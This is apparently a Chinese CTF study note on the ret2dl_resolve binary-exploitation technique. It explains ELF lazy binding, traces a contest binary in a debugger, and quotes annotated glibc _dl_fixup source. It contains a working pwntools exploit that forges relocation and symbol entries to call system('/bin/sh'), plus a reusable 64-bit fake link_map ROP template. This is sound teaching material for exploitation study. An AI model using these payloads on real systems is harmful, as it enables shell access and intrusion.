ret2dl_resolve

elf的动态链接

在Linux中,got表存jmp xxx;这个xxx就是路径

库函数的调用

延迟绑定技术

sub_aaaa:
    call _puts ;
_puts :
jmp dds:off_xxxxx ;

但是这里会使用延迟绑定技术,这个off里面的内容会在它被调用的时候放入got表。

在动态调用时,会调用_dl_runtime_resolve,该函数通过两个参数获取导出的参数的地址,并存入got表,而后调用这个库函数(该库函数不会被延迟绑定!!)

_dl_runtime_resolve具体作用

这个函数有两个参数:

  • link_map:访问.dynamic,获得.dynstr,.dynsym,.rel.plt指针
  • offset:通过与.rel.plt结合用于求当前函数的重定位表rel
  • 而后通过rel->r_info >> 8取为下标,在.dynsym中求出当前函数的符号表项指针sym
  • .dynstr _ sym->st_name求出符号名字字符串
  • 在动态链接库查找函数地址,赋值给got
  • 调用函数

利用

DT_STRTAB

  • No RELRO时使用
  • 修改偏移
  • 主要是修改名字,因为会通过名字和偏移找函数

操作第二个参数

  • .dynamic不可写时使用
  • 伪造Elf32_Rel,放入r_info字段

伪造link_map

较难,暂时不懂

事例

题目来自susctf校赛nooutput

过程分析

 ► 0x80482e0  <read@plt>                  jmp    dword ptr [read@got.plt]      <0x804a00c>

   0x80482e6  <read@plt+6>                push   0
   0x80482eb  <read@plt+11>               jmp    0x80482d0                     <0x80482d0>
    ↓
   0x80482d0                              push   dword ptr [0x804a004]
   0x80482d6                              jmp    dword ptr [0x804a008]         <_dl_runtime_resolve>
    ↓
   0xf7fd8fe0 <_dl_runtime_resolve>       endbr32
   0xf7fd8fe4 <_dl_runtime_resolve+4>     push   eax
   0xf7fd8fe5 <_dl_runtime_resolve+5>     push   ecx
   0xf7fd8fe6 <_dl_runtime_resolve+6>     push   edx
   0xf7fd8fe7 <_dl_runtime_resolve+7>     mov    edx, dword ptr [esp + 0x10]
   0xf7fd8feb <_dl_runtime_resolve+11>    mov    eax, dword ptr [esp + 0xc]

可以看到首先存储了两个参数,然后jmp到_dl_runtime_resolve。那么我们再来看一下这两个值到底是啥:

pwndbg> x/4wx 0x804a004
0x804a004:    0xf7ffda40    0xf7fd8fe0    0x080482e6    0xf7c21560

可以看到,008就是_dl_runtime_resolve的地址,前面那个是什么呢:

pwndbg> x/4wx 0xf7ffda40
0xf7ffda40:    0x00000000    0xf7ffdd40    0x08049f14    0xf7fbe000

可以发现,这个指针下面有一个0x08049f14,这个地址是link_map的地址!

LOAD:08049F14                               ; Segment type: Pure data
LOAD:08049F14                               ; Segment permissions: Read/Write
LOAD:08049F14                               LOAD segment mempage public 'DATA' use32
LOAD:08049F14                               assume cs:LOAD
LOAD:08049F14                               ;org 8049F14h
LOAD:08049F14 01 00 00 00 01 00 00 00       stru_8049F14 Elf32_Dyn <1, <1>>         ; DATA XREF: LOAD:080480BC↑o
LOAD:08049F14                                                                       ; .got.plt:off_804A000↓o
LOAD:08049F14                                                                       ; DT_NEEDED libc.so.6
LOAD:08049F1C 0C 00 00 00 A8 82 04 08       Elf32_Dyn <0Ch, <80482A8h>>             ; DT_INIT
LOAD:08049F24 0D 00 00 00 24 85 04 08       Elf32_Dyn <0Dh, <8048524h>>             ; DT_FINI
LOAD:08049F2C 19 00 00 00 0C 9F 04 08       Elf32_Dyn <19h, <8049F0Ch>>             ; DT_INIT_ARRAY
LOAD:08049F34 1B 00 00 00 04 00 00 00       Elf32_Dyn <1Bh, <4>>                    ; DT_INIT_ARRAYSZ
LOAD:08049F3C 1A 00 00 00 10 9F 04 08       Elf32_Dyn <1Ah, <8049F10h>>             ; DT_FINI_ARRAY
LOAD:08049F44 1C 00 00 00 04 00 00 00       Elf32_Dyn <1Ch, <4>>                    ; DT_FINI_ARRAYSZ
LOAD:08049F4C F5 FE FF 6F AC 81 04 08       Elf32_Dyn <6FFFFEF5h, <80481ACh>>       ; DT_GNU_HASH
>    LOAD:08049F54 05 00 00 00 1C 82 04 08       Elf32_Dyn <5, <804821Ch>>               ; DT_STRTAB
>    LOAD:08049F5C 06 00 00 00 CC 81 04 08       Elf32_Dyn <6, <80481CCh>>               ; DT_SYMTAB
LOAD:08049F64 0A 00 00 00 4A 00 00 00       Elf32_Dyn <0Ah, <4Ah>>                  ; DT_STRSZ
LOAD:08049F6C 0B 00 00 00 10 00 00 00       Elf32_Dyn <0Bh, <10h>>                  ; DT_SYMENT
LOAD:08049F74 15 00 00 00 00 00 00 00       Elf32_Dyn <15h, <0>>                    ; DT_DEBUG
LOAD:08049F7C 03 00 00 00 00 A0 04 08       Elf32_Dyn <3, <804A000h>>               ; DT_PLTGOT
LOAD:08049F84 02 00 00 00 10 00 00 00       Elf32_Dyn <2, <10h>>                    ; DT_PLTRELSZ
LOAD:08049F8C 14 00 00 00 11 00 00 00       Elf32_Dyn <14h, <11h>>                  ; DT_PLTREL
>    LOAD:08049F94 17 00 00 00 98 82 04 08       Elf32_Dyn <17h, <8048298h>>             ; DT_JMPREL
LOAD:08049F9C 11 00 00 00 90 82 04 08       Elf32_Dyn <11h, <8048290h>>             ; DT_REL
LOAD:08049FA4 12 00 00 00 08 00 00 00       Elf32_Dyn <12h, <8>>                    ; DT_RELSZ
LOAD:08049FAC 13 00 00 00 08 00 00 00       Elf32_Dyn <13h, <8>>                    ; DT_RELENT
LOAD:08049FB4 FE FF FF 6F 70 82 04 08       Elf32_Dyn <6FFFFFFEh, <8048270h>>       ; DT_VERNEED
LOAD:08049FBC FF FF FF 6F 01 00 00 00       Elf32_Dyn <6FFFFFFFh, <1>>              ; DT_VERNEEDNUM
LOAD:08049FC4 F0 FF FF 6F 66 82 04 08       Elf32_Dyn <6FFFFFF0h, <8048266h>>       ; DT_VERSYM
LOAD:08049FCC 00 00 00 00 00 00 00 00       Elf32_Dyn <0>                           ; DT_NULL

上面讲过,这边linkmap是可以找到.dynstr,.dynsym,.rel.plt三个指针的,如上图,并且这玩意在partical的情况下是可写的。

下一步怎么做呢:

  1. 通过DT_JMPREL+偏移(第二个参数,push 0那个)找到下面这一条:
LOAD:08048298 0C A0 04 08 07 01 00 00       Elf32_Rel <804A00Ch, 107h>              ; R_386_JMP_SLOT read
  1. 通过0x107>>8=0x1来定位下标,在DT_SYMTAB中通过下标找到:
LOAD:080481CC 00 00 00 00 00 00 00 00 00 00+Elf32_Sym <0>
LOAD:080481DC 1A 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aRead - offset byte_804821C, 0, 0, 12h, 0, 0> ; "read"
LOAD:080481EC 3B 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aGmonStart - offset byte_804821C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:080481FC 1F 00 00 00 00 00 00 00 00 00+Elf32_Sym <offset aLibcStartMain - offset byte_804821C, 0, 0, 12h, 0, 0> ; "__libc_start_main"
LOAD:0804820C 0B 00 00 00 3C 85 04 08 04 00+Elf32_Sym <offset aIoStdinUsed - offset byte_804821C, offset _IO_stdin_used, 4, 11h, 0, 10h> ; "_IO_stdin_used"
LOAD:0804821C                               ; ELF String Table
  1. 从而从DT_STRTAB中找到字符串“read”,然后在libc库中找到这个函数
  2. 接下来通过804A00Ch地址指向的plt表修改got.plt从而实现动态绑定。

攻击的方式其实是改变第二个参数,指向一个伪造的rel表,并且造假字符下标,从而指向一个自己定义的字符表,实现重定向。

攻击

其实就是写一个链,exp:

io = p("./susctf/nooutput",0)
elf = ELF("./susctf/nooutput")
read_addr = 0x8048471
lev_ret = 0x8048484
w_addr = 0x804a200
dl_addr = 0x80482D0
call_read_addr = 0x8048479
r_addr = 0x80482E0
payload = b"a"*0x30 + p32(w_addr-4) + p32(call_read_addr)+p32(0)+p32(w_addr)+ p32(0x500) #  +p32(lev_ret)
s(payload)
bin_sh_addr = w_addr + 0x44   #0x804a544
off = 0x804a52C-0x80481CC
print(off)
print(off//16)
print(hex(off//16))
payload2 = p32(0x80482d0) + p32(w_addr + 0x10 - 0x8048298) +p32(0) + p32(bin_sh_addr) 
payload2 += p32(elf.got["read"])+p32((((w_addr + 0x2c-0x80481CC)//0x10) << 8)+0x7) #0x804a510
payload2 += b"\x00"*0x8 + b"\x00"*0xc
payload2 += p32(w_addr+0x3c-0x804821C)
payload2 += p32(0)
payload2 += p32(0)
payload2 += p32(0x12)
payload2 += b"system\x00\x00"
payload2 += b"/bin/sh\x00"
# gg()
s(payload2)

link_map的伪造

对于64位程序来说,上面的方式是没有办法成功的,因为有了各种各样的检测,但是这个绑定也可以绕过。

先理解一下_dl_fixup函数:来源:https://bbs.kanxue.com/thread-253833.htm#msg_header_h1_3

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]strtab
{
    // 获取link_map中存放DT_SYMTAB的地址,   也就是.dynsym
    const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 获取link_map中存放DT_STRTAB的地址,   也就是.dynstr
    const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
    //取出ELF_Rel
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 根据重定位结构体的r_info得到symtab表中对应的结构体
    // 取出ELF_Sym
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; //r_info>>8
    
    void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
    lookup_t result;
    DL_FIXUP_VALUE_TYPE value;

    /* Sanity check that we're really looking at a PLT relocation.  */
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7  r_info & 0xff

    /* Look up the target symbol.  If the normal lookup rules are not
        used don't look in the global scope.  */
    if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
    {
        const struct r_found_version *version = NULL;
        // 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
        if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
        {
        // 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
        const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
        ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
        version = &l->l_versions[ndx];
        if (version->hash == 0)
            version = NULL;
        }

        /* We need to keep the scope around so do some locking.  This is
        not necessary for objects which cannot be unloaded or when
        we are not using any threads (yet).  */
        int flags = DL_LOOKUP_ADD_DEPENDENCY;
        if (!RTLD_SINGLE_THREAD_P)
        {
            THREAD_GSCOPE_SET_FLAG ();
            flags |= DL_LOOKUP_GSCOPE_LOCK;
        }

        RTLD_ENABLE_FOREIGN_CALL;
        // 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
        result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

        /* We are done with the global scope.  */
        if (!RTLD_SINGLE_THREAD_P)
            THREAD_GSCOPE_RESET_FLAG ();

        RTLD_FINALIZE_FOREIGN_CALL;

        /* Currently result contains the base load address (or link map)
        of the object that defines sym.  Now add in the symbol
        offset.  */
        // 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
        value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
    else
    { 
        // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
        /* We already found the symbol.  The module (and therefore its load
        address) is also known.  */
        value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
        result = l;
    }

    /* And now perhaps the relocation addend.  */
    value = elf_machine_plt_value (l, reloc, value);

    if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
        value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

    /* Finally, fix up the plt itself.  */
    if (__glibc_unlikely (GLRO(dl_bind_not)))
        return value;
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

可以看到,只需要绕过第一个if,就可以通过神奇的绑定方式来进行函数执行,而这就需要伪造linkmap,从源码和执行可以看出,分别需要伪造三个段0x68,0x70,0xf8,然后通过绕过st_other检测和修改l_addr来实现换函数执行。

贴个公用模板:

def fake_link_map_gen(link_map_addr,l_addr,st_value):
    fake_Elf64_Dyn_JMPREL_addr = link_map_addr + 0x18
    fake_Elf64_Dyn_SYM_addr = link_map_addr + 8
    fake_Elf64_Dyn_STR_addr = link_map_addr
    fake_Elf64_Dyn_JMPREL = p64(0) + p64(link_map_addr+0x28)
    fake_Elf64_Dyn_SYM =  p64(0) + p64(st_value-8)
    fake_Elf64_rela = p64(0xffffffffffffffff+link_map_addr - l_addr) + p64(7) + p64(0)
 
    fake_link_map = p64(l_addr)            #0x8
    fake_link_map += fake_Elf64_Dyn_SYM    #0x10
    fake_link_map += fake_Elf64_Dyn_JMPREL #0x10
    fake_link_map += fake_Elf64_rela       #0x18
    fake_link_map += b'\x00'*0x28
    fake_link_map += p64(fake_Elf64_Dyn_STR_addr) #link_map_addr + 0x68
    fake_link_map += p64(fake_Elf64_Dyn_SYM_addr) #link_map_addr + 0x70
    # fake_link_map += b'/bin/sh\x00'.ljust(0x80,b'\x00')
    fake_link_map += p64(0x4011aa)+p64(pop_rdi)+p64(link_map_addr+0xc0)#+ p64(pop_rsi) +p64(0)#+p64(leave_ret)
    fake_link_map += p64(0x0401026) # jmp dl
    fake_link_map += p64(link_map_addr)
    fake_link_map += p64(0)
    fake_link_map += p64(leave_ret)
   
    fake_link_map += b"\x00"*0x10#b"\x00"*0x10
    fake_link_map += b'/bin/sh\x00'
    fake_link_map += b"\x00"*0x30
    fake_link_map += p64(fake_Elf64_Dyn_JMPREL_addr)
    return fake_link_map
fake_link_map = fake_link_map_gen(link_map_addr,l_addr,elf.got['setbuf'])

payload1 = fake_link_map
s(payload1)

其中需要注意:st_value是需要修改的函数的got表位置,这个位置的上面一定要是一个已经重定向过的函数。

并且可以看到,这一个payload至少要0x100的空间才能完成,所以要注意栈迁移的方式!